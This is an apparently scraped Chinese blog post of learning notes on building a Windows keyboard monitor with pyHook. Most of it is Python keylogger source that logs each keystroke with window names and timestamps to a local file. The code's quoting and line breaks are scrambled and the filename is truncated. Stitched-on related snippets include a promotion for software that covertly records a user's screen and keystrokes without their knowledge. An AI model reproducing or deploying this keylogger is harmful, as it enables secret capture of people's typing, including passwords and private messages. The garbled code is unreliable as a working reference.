pyhooks實現鍵盤監控學習心得

2021-09-06 05:08:52 字數 2440 閱讀 9600

pyhooks

api手冊:

以上**上提供了個使用的例子,另外安裝pyhooks後,也會有乙個例子的檔案。於是拿來學習了一下,第一次執行時,提示沒有pythoncom模組,就安裝了pywin32,安裝後,可以正常執行,但是會導致機器發卡,特別是中斷程式執行後,滑鼠會出現一段時間的自由晃動,找了半天原因,感覺主要是事件頻率過高,程式會經常卡在pythoncom.pumpmessages()。

網上搜尋了半天,看到有一帖子說是pythoncom.pumpmessages(n),n表示延遲時間,於是試著改了下,發現有一定效果,但不明顯,後來想是不是因為沒有終止程式,才會導致一直很卡呢,於是新增終止程式語句win32api.postquitmessage()。結果還算滿意。

#

-*- coding: cp936 -*-

import pythoncom

import pyhook

import time

import win32api

t=''

asciistr=''

keystr=''

def onkeyboardevent(event):

global t,asciistr,keystr

filename='

d:'wrfile=open(filename,'

ab')

"處理鍵盤事件

"if t==str(event.windowname):

asciistr=asciistr+chr(event.ascii)

keystr=keystr+str(event.key)

else:

t=str(event.windowname)

if asciistr==''

and keystr=='':

wrfile.writelines("

\nwindow:%s\n

" % str(event.window))

wrfile.writelines("

windowname:%s\n

" % str(event.windowname)) #

寫入當前窗體名

wrfile.writelines("

messagename:%s\n

" % str(event.messagename))

wrfile.writelines("

message:%d\n

" % event.message)

wrfile.writelines("

time:%s\n

" % time.strftime('

%y-%m-%d %h:%m:%s

',time.localtime()))

else:

wrfile.writelines("

ascii_char:%s\n

" %asciistr)

wrfile.writelines("

key_char:%s\n

" %keystr)

wrfile.writelines("

\nwindow:%s\n

" % str(event.window))

wrfile.writelines("

windowname:%s\n

" % str(event.windowname)) #

寫入當前窗體名

wrfile.writelines("

time:%s\n

" % time.strftime('

%y-%m-%d %h:%m:%s

',time.localtime()))

asciistr=chr(event.ascii)

keystr=str(event.key)

if str(event.key)=='

f12': #按下f12後終止

wrfile.writelines("

ascii_char:%s\n

" %asciistr)

wrfile.writelines("

key_char:%s\n

" %keystr)

wrfile.close()

win32api.postquitmessage()

return true

if__name__ == "

__main__

":'''

小五義:

'''#

建立hook控制代碼

hm = pyhook.hookmanager()

#監控鍵盤

hm.keydown = onkeyboardevent

hm.hookkeyboard()

#迴圈獲取訊息

pythoncom.pumpmessages(10000)

監控鍵盤滑鼠的動作,實現離位監控

在網上找了很多hook鍵盤滑鼠,實現離位監控,都不完善,這裡根據的 修改後做了介面呼叫簡單。由於本人對dll不熟悉,本想直接把接收資訊的窗體也做到dll裡的,一是不熟悉,二是時間緊,就沒搞了。下來進入正題 把監控鍵盤滑鼠動作的過程,封裝成了 乙個form窗體 frmkbmhook.pas dfm 在...

axure鍵盤彈出 AxureRP實現鍵盤互動效果

與鍵盤的互動一般都簡化成輸入內容,或者改為由滑鼠來控制會比較多,因為b s架構的系統或者 其實不大需要跟鍵盤有互動,用滑鼠就可以全部都實現了,這也是為了提公升使用者體驗的滿意度。不過現在網頁遊戲這麼流行,雖然大部分操作也還是只需要滑鼠就可以了,但還是支援鍵盤快捷鍵的。因此鍵盤互動也並非完全沒有用武之...

綠色螢幕鍵盤監控專家 安全相關

軟體大小 3.25mb 軟體語言 簡體中文 軟體類別 軟體授權 免費軟體 5應用平台 win2k,winxp,win2003,vista,win7 的一舉一動都將被詳細記錄下來,本軟體能設定為開機自動啟動,在電腦使用者毫無覺察的情況下將螢幕內容以的形式 按鍵內容以文字文件的形式儲存在指定的資料夾或傳...